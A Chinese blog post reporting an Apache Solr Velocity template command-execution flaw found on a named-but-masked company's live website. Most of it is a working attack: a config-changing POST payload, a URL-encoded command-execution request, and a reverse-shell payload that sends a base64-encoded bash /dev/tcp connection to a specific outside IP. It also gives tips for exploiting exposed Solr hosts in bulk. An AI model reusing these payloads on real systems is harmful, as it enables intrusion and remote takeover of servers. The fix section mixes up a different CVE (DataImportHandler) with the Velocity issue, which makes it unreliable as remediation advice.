@Adminxe
【互聯網安全守護計劃】
上海XXXXXX有限公司-XXX店 官方網站 存在Apache solr velocity模塊遠程命令執行漏洞
漏洞描述:
通過發送類似/節點名/config的POST請求對該節點的配置文件做更改
Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定末班,默認設置是false
當設置params.resource.loader.enabled爲ture時,將允許用戶通過設置請求中的參數來指定相關資源加載,這也就意味着攻擊者可以通過構造一個具有威脅的攻擊請求,在服務器上進行命令執行
漏洞特徵:
端口:8983,http,solr
路徑:/solr/item/config
受影響版本 :
Apache Solr < 8.2.0
站點:https://www.xxxxx.com/
【互聯網安全守護計劃】
利用工具:
BurpSuite
Firefox瀏覽器
目標站點: https://www.XXXXX.com/
通過域名反查,可以得到存在8983端口,並且端口下存在solr
得到目標服務器地址: http://XXX.50.13.xxx:8983
solr地址: http://XXX.50.13.xxx:8983/solr
1.因爲該漏洞所影響的模塊可以利用外部的請求來修改,所以利用惡意的請求payload去修改配置,修改了配置過後,就導致可以執行惡意的腳本,從而發起帶有惡意代碼的請求。
POST形式發送poc到配置文件config,修改了配置過後,便可以帶上惡意腳本的請求去發起訪問了,從而導致了遠程代碼執行,請求路徑內容如下圖:
打開Burpsuit,點擊用戶名,抓包-send to Repeater進行config參數修改:
修改值爲:
poc爲:
{
"update-queryresponsewriter": {
"startup": "lazy",
"name": "velocity",
"class": "solr.VelocityResponseWriter",
"template.base.dir": "",
"solr.resource.loader.enabled": "true",
"params.resource.loader.enabled": "true"
}
}
訪問目標主機,找到漏洞的位置,點到 core selector那個按鈕,burp抓包攔截
發送到repeater,把上圖請求的admin 改爲item(這裏注意對應的模塊),後面再加config 查看是否有其配置文件,如果沒有配置文件,則說明可能目標不存在這種漏洞,這也是一種檢測方式?
2.GET形式,發送payload,進行命令執行,我們考慮到隱私性和安全性,設置執行命令爲pwd(即查看當前位置):
payload爲:
/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27pwd%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
反彈shell payload:
linux 反彈shell命令 bash -i >& /dev/tcp/ip/port 0>&1 (至於payload中爲什麼要base64編碼不太清楚…)
http://ip 8983/solr/item/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMS4yMDMuMi4yMTgvMTIzNCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end
可進行遠程代碼執行,通過nc反彈,可以getshell,故定義高危漏洞。
聯繫方式:
電話 xxxxxxx 006 郵箱: business_csb@bxxxxxx.com
地址: 上海市XXXXXXXXXXXXXXX
批量利用的話:
批量搜一下開了8983端口的主機或者搜關鍵字solr
漏洞產生原因:
Apache Solr默認集成VelocityResponseWriter插件,在該插件的初始化參數中的params.resource.loader.enabled這個選項是用來控制是否允許參數資源加載器在Solr請求參數中指定末班,默認設置是false
當設置params.resource.loader.enabled爲ture時,將允許用戶通過設置請求中的參數來指定相關資源加載,這也就意味着攻擊者可以通過構造一個具有威脅的攻擊請求,在服務器上進行命令執行:
{ “update-queryresponsewriter”: { “startup”: “lazy”, “name”: “velocity”, “class”: “solr.VelocityResponseWriter”, “template.base.dir”: “”, “solr.resource.loader.enabled”: “true”, “params.resource.loader.enabled”: “true” }
如何修復漏洞:
1. 官方升級
從Solr的8.2.0版本開始,使用問題參數dataConfig需要將java系統屬性“enable.dih.dataconfigparam”設置爲true。因此用戶可通過將Solr版本升級至8.2.0及以上,對此漏洞進行防護。
2.臨時防護建議
1、用戶也可通過配置solrconfig.xml文件,將所有DataImportHandler 固定配置項中的dataConfig參數,設置爲空字符串。
2、確保網絡設置只允許可信流量與Solr建立通信,尤其是與DIH請求處理器的通信。
轉載請註明:Adminxe's Blog » CVE-2019-0193 Apache solr velocity模塊漏洞&命令執行